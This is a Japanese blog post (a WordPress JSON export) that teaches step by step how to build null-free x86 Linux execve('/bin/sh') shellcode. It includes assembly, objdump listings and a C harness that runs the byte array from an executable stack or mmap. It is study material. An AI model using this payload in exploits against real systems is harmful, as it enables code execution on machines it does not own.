{"id":29,"date":"2013-03-22T18:30:30","date_gmt":"2013-03-22T09:30:30","guid":{"rendered":"http:\/\/toshiyone.dip.jp\/wordpress\/?p=29"},"modified":"2013-03-24T07:40:09","modified_gmt":"2013-03-23T22:40:09","slug":"%e3%82%b7%e3%82%a7%e3%83%ab%e3%82%b3%e3%83%bc%e3%83%89%e3%82%92%e4%bd%9c%e6%88%90%e3%81%99%e3%82%8b","status":"publish","type":"post","link":"https:\/\/int512.net\/wordpress\/archives\/29","title":{"rendered":"\u30b7\u30a7\u30eb\u30b3\u30fc\u30c9\u3092\u4f5c\u6210\u3059\u308b"},"content":{"rendered":"<p>\u30d6\u30ed\u30b0\u7f6e\u3044\u3066\u308b\u306e\u306b\u4f55\u3082\u66f8\u304b\u306a\u3044\u306e\u3082\u30a2\u30ec\u306a\u306e\u3067\u4f55\u304b\u66f8\u3044\u3066\u307f\u308b\u3002\u7279\u306b\u66f8\u304f\u3053\u3068\u306f\u7121\u3044\u306e\u3060\u3051\u308c\u3069\u3001\u3069\u3046\u3044\u3046\u3053\u3068\u306b\u8208\u5473\u304c\u3042\u308b\u306e\u304b\u308f\u304b\u308b\u3068\u3044\u3044\u304b\u306a\u3068\u3044\u3046\u3053\u3068\u3067\u3001\u4eca\u56de\u306f\u30b7\u30a7\u30eb\u30b3\u30fc\u30c9\u306e\u66f8\u304d\u65b9\u306b\u3064\u3044\u3066\u66f8\u304f\u3053\u3068\u306b\u3057\u305f\u3002\u691c\u7d22\u3059\u308c\u3070\u3082\u3063\u3068\u6d17\u7df4\u3055\u308c\u305f\u30b7\u30a7\u30eb\u30b3\u30fc\u30c9\u304c\u898b\u3064\u304b\u308b\u3068\u601d\u3046\u3051\u3069\u3001\u3069\u306e\u3088\u3046\u306b\u3057\u3066\u4f5c\u308b\u306e\u304b\u3092\u77e5\u308b\u305f\u3081\u306b\u81ea\u5206\u3067\u4f5c\u3063\u3066\u307f\u305f\u3002\u3053\u306e\u8a18\u4e8b\u3067\u306fx86\u306eLinux\u5411\u3051\u306e\u30b7\u30a7\u30eb\u30b3\u30fc\u30c9\u306e\u4f5c\u308a\u65b9\u3092\u66f8\u3044\u305f\u306e\u3067\u3001\u4ed6\u306e\u74b0\u5883\u5411\u3051\u306e\u30b7\u30a7\u30eb\u30b3\u30fc\u30c9\u3060\u3068\u8272\u3005\u9055\u3046\u3068\u601d\u3044\u307e\u3059\u304c\u3001\u624b\u9806\u3068\u3057\u3066\u306f\u5927\u4f53\u540c\u3058\u3060\u3068\u601d\u3044\u307e\u3059\u3002<\/p>\n<p>\u8a66\u3057\u306bC\u8a00\u8a9e\u3067\u30b7\u30a7\u30eb\u3092\u8d77\u52d5\u3059\u308b\u30b3\u30fc\u30c9\u3092\u66f8\u3044\u3066\u307f\u307e\u3059\u3002execl\u3084system\u306a\u3069\u6a19\u6e96C\u30e9\u30a4\u30d6\u30e9\u30ea\u5185\u306e\u95a2\u6570\u3092\u4f7f\u3046\u3088\u308a\u3001\u76f4\u63a5\u30b7\u30b9\u30c6\u30e0\u30b3\u30fc\u30eb\u3092\u547c\u3073\u51fa\u3057\u305f\u307b\u3046\u304c\u3042\u3068\u3067\u30a2\u30bb\u30f3\u30d6\u30ea\u306b\u66f8\u304d\u306a\u304a\u3059\u6642\u697d\u306a\u306e\u3067execve\u3092\u4f7f\u7528\u3057\u307e\u3059\u3002<br \/>\n[c]<br \/>\n\/* shell.c *\/<\/p>\n<p>#include <unistd.h><\/p>\n<p>int main(int argc, char** argv[])<br \/>\n{<br \/>\n\tchar* _argv[] = {&#8220;\/bin\/sh&#8221;, NULL};<br \/>\n\texecve(&#8220;\/bin\/sh&#8221;, _argv, NULL);<br \/>\n}<br \/>\n[\/c]<br \/>\n\u3053\u308c\u3092<code>gcc -o shell shell.c<\/code>\u3067\u30b3\u30f3\u30d1\u30a4\u30eb\u3057\u3066<code>.\/shell<\/code>\u3067\u5b9f\u884c\u3059\u308b\u3068\u30b7\u30a7\u30eb\u304c\u8d77\u52d5\u3057\u307e\u3059\u3002<\/p>\n<p>\u6b21\u306b\u30a2\u30bb\u30f3\u30d6\u30ea\u304b\u3089\u30b7\u30b9\u30c6\u30e0\u30b3\u30fc\u30eb\u3092\u547c\u3073\u51fa\u3059\u65b9\u6cd5\u3067\u3059\u3002x86\u306e\u5834\u5408\u3001eax\u306b\u30b7\u30b9\u30c6\u30e0\u30b3\u30fc\u30eb\u756a\u53f7\u3092\u4ee3\u5165\u3057\u3001int 0x80\u3059\u308b\u3053\u3068\u3067\u30b7\u30b9\u30c6\u30e0\u30b3\u30fc\u30eb\u3092\u547c\u3073\u51fa\u3059\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002\u307e\u305f\u3001ebx,ecx,edx\u306a\u3069\u306b\u5024\u3092\u4ee3\u5165\u3059\u308b\u3053\u3068\u3067\u5f15\u6570\u3092\u6307\u5b9a\u3059\u308b\u3053\u3068\u3082\u3067\u304d\u307e\u3059\u3002\u4f8b\u3068\u3057\u3066exit\u3059\u308b\u3060\u3051\u306e\u30b3\u30fc\u30c9\u3092\u66f8\u3044\u3066\u307f\u307e\u3057\u305f\u3002exit\u306e\u30b7\u30b9\u30c6\u30e0\u30b3\u30fc\u30eb\u756a\u53f7\u306f1\u3067\u3001ebx\u306b\u5024\u3092\u4ee3\u5165\u3059\u308b\u3053\u3068\u3067\u7d42\u4e86\u30b3\u30fc\u30c9\u3092\u6307\u5b9a\u3059\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n<pre><code>.file \"exit.S\"\r\n.intel_syntax noprefix\r\n\r\n.section .text\r\n.globl main\r\n\r\nmain:\r\n\t# SYS_exit\r\n\tmov eax, 1\r\n\t# \u7d42\u4e86\u30b3\u30fc\u30c9\u306f100\r\n\tmov ebx, 100\r\n\tint 0x80<\/code><\/pre>\n<p>\u3053\u308c\u3092<code>as --32 exit.S -o exit.o; gcc -m32 exit.o -o exit<\/code>\u306a\u3069\u3067\u30a2\u30bb\u30f3\u30d6\u30eb\u30fb\u30ea\u30f3\u30af\u3057\u3066<code>.\/exit; echo $?<\/code>\u3068\u3059\u308b\u3068\u7d42\u4e86\u30b3\u30fc\u30c9\u3068\u3057\u3066100\u304c\u5e30\u3063\u3066\u304d\u3066\u3044\u308b\u306e\u304c\u308f\u304b\u308a\u307e\u3059\u3002<\/p>\n<p>\u3053\u308c\u3067\u30b7\u30b9\u30c6\u30e0\u30b3\u30fc\u30eb\u306e\u547c\u3073\u65b9\u306f\u5206\u304b\u3063\u305f\u306e\u3067\u3001\u6700\u521d\u306b\u66f8\u3044\u305fC\u8a00\u8a9e\u306e\u30b3\u30fc\u30c9\u3092\u30a2\u30bb\u30f3\u30d6\u30ea\u306b\u66f8\u304d\u76f4\u3057\u3066\u307f\u307e\u3059\u3002<\/p>\n<pre><code>.file \"shell.S\"\r\n.intel_syntax noprefix\r\n\r\n.section .text\r\n.globl main\r\n\r\nmain:\r\n\t# _argv[0] = command\r\n\tlea eax, command\r\n\tmov dword ptr [esp-8], eax\r\n\t# _argv[1] = NULL\r\n\tmov dword ptr [esp-4], 0\r\n\r\n\t# eax==11: SYS_execve\r\n\tmov eax, 11\r\n\t# filename\r\n\tlea ebx, command\r\n\t# argv\r\n\tlea ecx, [esp-8]\r\n\t# envp\r\n\tmov edx, 0\r\n\t# \u30b7\u30b9\u30c6\u30e0\u30b3\u30fc\u30eb\u547c\u3073\u51fa\u3057\r\n\tint 0x80\r\n\r\ncommand:\r\n.asciz \"\/bin\/sh\"<\/code><\/pre>\n<p><code>as --32 shell.S -o shell.o; gcc -m32 shell.o -o shell<\/code>\u3067\u30a2\u30bb\u30f3\u30d6\u30eb\u30fb\u30ea\u30f3\u30af\u3057\u305f\u3042\u3068\u3001<code>.\/shell<\/code>\u3067\u30b7\u30a7\u30eb\u304c\u8d77\u52d5\u3059\u308b\u3053\u3068\u304c\u78ba\u8a8d\u3067\u304d\u307e\u3059\u3002<\/p>\n<p>\u3053\u308c\u3060\u3068\u30b7\u30a7\u30eb\u30b3\u30fc\u30c9\u3068\u3057\u3066\u4f7f\u3046\u306b\u306f\u4e0d\u4fbf\u306a\u306e\u3067\u3001command\u3092\u4f7f\u308f\u306a\u3044\u3088\u3046\u306b\u66f8\u304d\u63db\u3048\u307e\u3059\u3002<\/p>\n<pre><code>.file \"shell.S\"\r\n.intel_syntax noprefix\r\n\r\n.section .text\r\n.globl main\r\n\r\nmain:\r\n\t# \u30ea\u30c8\u30eb\u30a8\u30f3\u30c7\u30a3\u30a2\u30f3\u3067\/bin\r\n\tmov dword ptr [esp-16], 0x6e69622f\r\n\t# \u30ea\u30c8\u30eb\u30a8\u30f3\u30c7\u30a3\u30a2\u30f3\u3067\/sh\\0\r\n\tmov dword ptr [esp-12], 0x0068732f\r\n\t# _argv[0] = command\r\n\tlea eax, [esp-16]\r\n\tmov dword ptr [esp-8], eax\r\n\t# _argv[1] = NULL\r\n\tmov dword ptr [esp-4], 0\r\n\r\n\t# eax==11: SYS_execve\r\n\tmov eax, 11\r\n\t# filename\r\n\tlea ebx, [esp-16]\r\n\t# argv\r\n\tlea ecx, [esp-8]\r\n\t# envp\r\n\tmov edx, 0\r\n\t# \u30b7\u30b9\u30c6\u30e0\u30b3\u30fc\u30eb\u547c\u3073\u51fa\u3057\r\n\tint 0x80<\/code><\/pre>\n<p>\u6b21\u306b\u30b7\u30a7\u30eb\u30b3\u30fc\u30c9\u306b\\x00\u304c\u542b\u307e\u308c\u3066\u3044\u308b\u3068\u8272\u3005\u3081\u3093\u3069\u304f\u3055\u3044\u5834\u5408\u304c\u3042\u308b\u306e\u3067\u30b3\u30fc\u30c9\u4e2d\u304b\u30890\u304c\u7121\u304f\u306a\u308b\u3088\u3046\u306b\u8abf\u6574\u3057\u307e\u3059\u3002<code>objdump -d -Mintel shell.o<\/code>\u3059\u308b\u3068main\u95a2\u6570\u306f\u4ee5\u4e0b\u306e\u3088\u3046\u306b\u51fa\u529b\u3055\u308c\u307e\u3059\u3002<\/p>\n<pre><code>080483d4 &lt;main>:\r\n 80483d4:\tc7 44 24 f0 2f 62 69 \tmov    DWORD PTR [esp-0x10],0x6e69622f\r\n 80483db:\t6e \r\n 80483dc:\tc7 44 24 f4 2f 73 68 \tmov    DWORD PTR [esp-0xc],0x68732f\r\n 80483e3:\t00 \r\n 80483e4:\t8d 44 24 f0          \tlea    eax,[esp-0x10]\r\n 80483e8:\t89 44 24 f8          \tmov    DWORD PTR [esp-0x8],eax\r\n 80483ec:\tc7 44 24 fc 00 00 00 \tmov    DWORD PTR [esp-0x4],0x0\r\n 80483f3:\t00 \r\n 80483f4:\tb8 0b 00 00 00       \tmov    eax,0xb\r\n 80483f9:\t8d 5c 24 f0          \tlea    ebx,[esp-0x10]\r\n 80483fd:\t8d 4c 24 f8          \tlea    ecx,[esp-0x8]\r\n 8048401:\tba 00 00 00 00       \tmov    edx,0x0\r\n 8048406:\tcd 80                \tint    0x80<\/code><\/pre>\n<p><code>mov    DWORD PTR [esp-0xc],0x68732f<\/code>\u3001<code>mov    DWORD PTR [esp-0x4],0x0<\/code>\u3001<code>mov    eax,0xb<\/code>\u3001<code>mov    edx,0x0<\/code>\u306b0\u304c\u542b\u307e\u308c\u308b\u306e\u3067\u3046\u307e\u3044\u5177\u5408\u306b\u66f8\u304d\u63db\u3048\u307e\u3059\u3002<\/p>\n<pre><code>.file \"shell.S\"\r\n.intel_syntax noprefix\r\n\r\n.section .text\r\n.globl main\r\n\r\nmain:\r\n\t# \u30ea\u30c8\u30eb\u30a8\u30f3\u30c7\u30a3\u30a2\u30f3\u3067\/bin\r\n\tmov dword ptr [esp-16], 0x6e69622f\r\n\t# \u30ea\u30c8\u30eb\u30a8\u30f3\u30c7\u30a3\u30a2\u30f3\u3067\/sh\\0\r\n\txor eax, eax\r\n\tmov ah, 0x68\r\n\tshl eax, 8\r\n\tmov ax, 0x732f\r\n\tmov dword ptr [esp-12], eax\r\n\t# _argv[0] = command\r\n\tlea eax, [esp-16]\r\n\tmov dword ptr [esp-8], eax\r\n\t# _argv[1] = NULL\r\n\txor eax, eax\r\n\tmov dword ptr [esp-4], eax\r\n\r\n\t# eax==11: SYS_execve\r\n\tmov al, 11\r\n\t# filename\r\n\tlea ebx, [esp-16]\r\n\t# argv\r\n\tlea ecx, [esp-8]\r\n\t# envp\r\n\txor edx, edx\r\n\t# \u30b7\u30b9\u30c6\u30e0\u30b3\u30fc\u30eb\u547c\u3073\u51fa\u3057\r\n\tint 0x80<\/code><\/pre>\n<p>\u3053\u308c\u3092\u30b3\u30f3\u30d1\u30a4\u30eb\u3057\u3066objdump\u3059\u308b\u3068\u3053\u3046\u306a\u308a\u307e\u3059\u3002<\/p>\n<pre><code>080483d4 &lt;main>:\r\n 80483d4:\tc7 44 24 f0 2f 62 69 \tmov    DWORD PTR [esp-0x10],0x6e69622f\r\n 80483db:\t6e \r\n 80483dc:\t31 c0                \txor    eax,eax\r\n 80483de:\tb4 68                \tmov    ah,0x68\r\n 80483e0:\tc1 e0 08             \tshl    eax,0x8\r\n 80483e3:\t66 b8 2f 73          \tmov    ax,0x732f\r\n 80483e7:\t89 44 24 f4          \tmov    DWORD PTR [esp-0xc],eax\r\n 80483eb:\t8d 44 24 f0          \tlea    eax,[esp-0x10]\r\n 80483ef:\t89 44 24 f8          \tmov    DWORD PTR [esp-0x8],eax\r\n 80483f3:\t31 c0                \txor    eax,eax\r\n 80483f5:\t89 44 24 fc          \tmov    DWORD PTR [esp-0x4],eax\r\n 80483f9:\tb0 0b                \tmov    al,0xb\r\n 80483fb:\t8d 5c 24 f0          \tlea    ebx,[esp-0x10]\r\n 80483ff:\t8d 4c 24 f8          \tlea    ecx,[esp-0x8]\r\n 8048403:\t31 d2                \txor    edx,edx\r\n 8048405:\tcd 80                \tint    0x80<\/code><\/pre>\n<p>\u3053\u308c\u3067\\x00\u304c\u7121\u304f\u306a\u3063\u305f\u306e\u3067\u3001\u8a66\u3057\u306bC\u8a00\u8a9e\u304b\u3089\u547c\u3073\u51fa\u3057\u3066\u307f\u307e\u3059\u3002<br \/>\n[c]<br \/>\n\/* shell2.c *\/<\/p>\n<p>int main(int argc, char** argv)<br \/>\n{<br \/>\n\tchar code[] = {<br \/>\n\t\t0xc7, 0x44, 0x24, 0xf0, 0x2f, 0x62, 0x69, 0x6e,<br \/>\n\t\t0x31, 0xc0,<br \/>\n\t\t0xb4, 0x68,<br \/>\n\t\t0xc1, 0xe0, 0x08,<br \/>\n\t\t0x66, 0xb8, 0x2f, 0x73,<br \/>\n\t\t0x89, 0x44, 0x24, 0xf4,<br \/>\n\t\t0x8d, 0x44, 0x24, 0xf0,<br \/>\n\t\t0x89, 0x44, 0x24, 0xf8,<br \/>\n\t\t0x31, 0xc0,<br \/>\n\t\t0x89, 0x44, 0x24, 0xfc,<br \/>\n\t\t0xb0, 0x0b,<br \/>\n\t\t0x8d, 0x5c, 0x24, 0xf0,<br \/>\n\t\t0x8d, 0x4c, 0x24, 0xf8,<br \/>\n\t\t0x31, 0xd2,<br \/>\n\t\t0xcd, 0x80,<br \/>\n\t};<br \/>\n\tvoid (*func)(void) = code;<br \/>\n\tfunc();<br \/>\n}<br \/>\n[\/c]<br \/>\n\u3053\u308c\u3092<code>gcc -m32 -z execstack shell2.c -o shell2<\/code>\u3067\u30b3\u30f3\u30d1\u30a4\u30eb\u3057\u3066<code>.\/shell2<\/code>\u3067\u5b9f\u884c\u3059\u308c\u3070\u30b7\u30a7\u30eb\u304c\u8d77\u52d5\u3057\u307e\u3059\u3002\u3082\u3061\u308d\u3093\u901a\u5e38\u306f\u305d\u306e\u307b\u3046\u304c\u5b09\u3057\u3044\u306e\u3067\u3059\u304c\u3001gcc\u306f\u30c7\u30d5\u30a9\u30eb\u30c8\u3067\u30b9\u30bf\u30c3\u30af\u9818\u57df\u3092\u5b9f\u884c\u3057\u306a\u3044\u3088\u3046\u306b\u3057\u3066\u3057\u307e\u3046\u3088\u3046\u306a\u306e\u3067\u3001\u3053\u308c\u3092\u5b9f\u9a13\u3059\u308b\u5834\u5408\u306f-z execstack\u3092\u3064\u3051\u3066\u30b9\u30bf\u30c3\u30af\u9818\u57df\u3092\u5b9f\u884c\u3067\u304d\u308b\u3088\u3046\u306b\u3057\u3066\u304a\u304b\u306a\u3051\u308c\u3070\u3044\u3051\u307e\u305b\u3093\u3002<\/p>\n<p>\u3053\u308c\u3067\u30b7\u30a7\u30eb\u30b3\u30fc\u30c9\u304c\u51fa\u6765\u4e0a\u304c\u308a\u307e\u3057\u305f\u3002\u6b21\u306e\u8a18\u4e8b\u3067\u306f\u3042\u3048\u3066\u8106\u5f31\u6027\u306e\u3042\u308b\u30d7\u30ed\u30b0\u30e9\u30e0\u3092\u4f5c\u6210\u3057\u3066\u3001\u305d\u306e\u30d7\u30ed\u30b0\u30e9\u30e0\u3067\u3053\u306e\u30b7\u30a7\u30eb\u30b3\u30fc\u30c9\u3092\u5b9f\u884c\u3055\u305b\u305f\u3044\u3068\u601d\u3044\u307e\u3059\u3002<\/p>\n<p>3\u670824\u65e5\u8ffd\u8a18<br \/>\nmmap\u3092\u4f7f\u7528\u3059\u308c\u3070-z execstack\u306a\u3057\u3067\u3082\u5b9f\u884c\u3067\u304d\u308b\u3053\u3068\u306b\u6c17\u4ed8\u3044\u305f\u306e\u3067\u53c2\u8003\u307e\u3067\u306b<br \/>\n[c]<br \/>\n\/* shell2.c *\/<\/p>\n<p>#include <string.h><br \/>\n#include <sys\/mman.h><\/p>\n<p>int main(int argc, char** argv)<br \/>\n{<br \/>\n\tchar orig_code[] = {<br \/>\n\t\t0xc7, 0x44, 0x24, 0xf0, 0x2f, 0x62, 0x69, 0x6e,<br \/>\n\t\t0x31, 0xc0,<br \/>\n\t\t0xb4, 0x68,<br \/>\n\t\t0xc1, 0xe0, 0x08,<br \/>\n\t\t0x66, 0xb8, 0x2f, 0x73,<br \/>\n\t\t0x89, 0x44, 0x24, 0xf4,<br \/>\n\t\t0x8d, 0x44, 0x24, 0xf0,<br \/>\n\t\t0x89, 0x44, 0x24, 0xf8,<br \/>\n\t\t0x31, 0xc0,<br \/>\n\t\t0x89, 0x44, 0x24, 0xfc,<br \/>\n\t\t0xb0, 0x0b,<br \/>\n\t\t0x8d, 0x5c, 0x24, 0xf0,<br \/>\n\t\t0x8d, 0x4c, 0x24, 0xf8,<br \/>\n\t\t0x31, 0xd2,<br \/>\n\t\t0xcd, 0x80,<br \/>\n\t};<br \/>\n\tchar* code;<br \/>\n\tcode = mmap(<br \/>\n\t\t0, sizeof(orig_code),<br \/>\n\t\tPROT_EXEC | PROT_READ | PROT_WRITE,<br \/>\n\t\tMAP_PRIVATE | MAP_ANONYMOUS,<br \/>\n\t\t-1, 0<br \/>\n\t);<br \/>\n\tmemcpy(code, orig_code, sizeof(orig_code));<br \/>\n\tvoid (*func)(void) = code;<br \/>\n\tfunc();<br \/>\n}<br \/>\n[\/c]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u30d6\u30ed\u30b0\u7f6e\u3044\u3066\u308b\u306e\u306b\u4f55\u3082\u66f8\u304b\u306a\u3044\u306e\u3082\u30a2\u30ec\u306a\u306e\u3067\u4f55\u304b\u66f8\u3044\u3066\u307f\u308b\u3002\u7279\u306b\u66f8\u304f\u3053\u3068\u306f\u7121\u3044\u306e\u3060\u3051\u308c\u3069\u3001\u3069\u3046\u3044\u3046\u3053\u3068\u306b\u8208\u5473\u304c\u3042\u308b\u306e\u304b\u308f\u304b\u308b\u3068\u3044\u3044\u304b\u306a\u3068\u3044\u3046\u3053\u3068\u3067\u3001\u4eca\u56de\u306f\u30b7\u30a7\u30eb\u30b3\u30fc\u30c9\u306e\u66f8\u304d\u65b9\u306b\u3064\u3044\u3066\u66f8\u304f\u3053\u3068\u306b\u3057\u305f\u3002\u691c\u7d22\u3059\u308c\u3070\u3082\u3063\u3068\u6d17\u7df4\u3055\u2026 <span class=\"read-more\"><a href=\"https:\/\/int512.net\/wordpress\/archives\/29\">\u7d9a\u304d\u3092\u8aad\u3080 &raquo;<\/a><\/span><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[12],"class_list":["post-29","post","type-post","status-publish","format-standard","hentry","category-3","tag-12"],"_links":{"self":[{"href":"https:\/\/int512.net\/wordpress\/wp-json\/wp\/v2\/posts\/29","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/int512.net\/wordpress\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/int512.net\/wordpress\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/int512.net\/wordpress\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/int512.net\/wordpress\/wp-json\/wp\/v2\/comments?post=29"}],"version-history":[{"count":45,"href":"https:\/\/int512.net\/wordpress\/wp-json\/wp\/v2\/posts\/29\/revisions"}],"predecessor-version":[{"id":74,"href":"https:\/\/int512.net\/wordpress\/wp-json\/wp\/v2\/posts\/29\/revisions\/74"}],"wp:attachment":[{"href":"https:\/\/int512.net\/wordpress\/wp-json\/wp\/v2\/media?parent=29"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/int512.net\/wordpress\/wp-json\/wp\/v2\/categories?post=29"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/int512.net\/wordpress\/wp-json\/wp\/v2\/tags?post=29"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}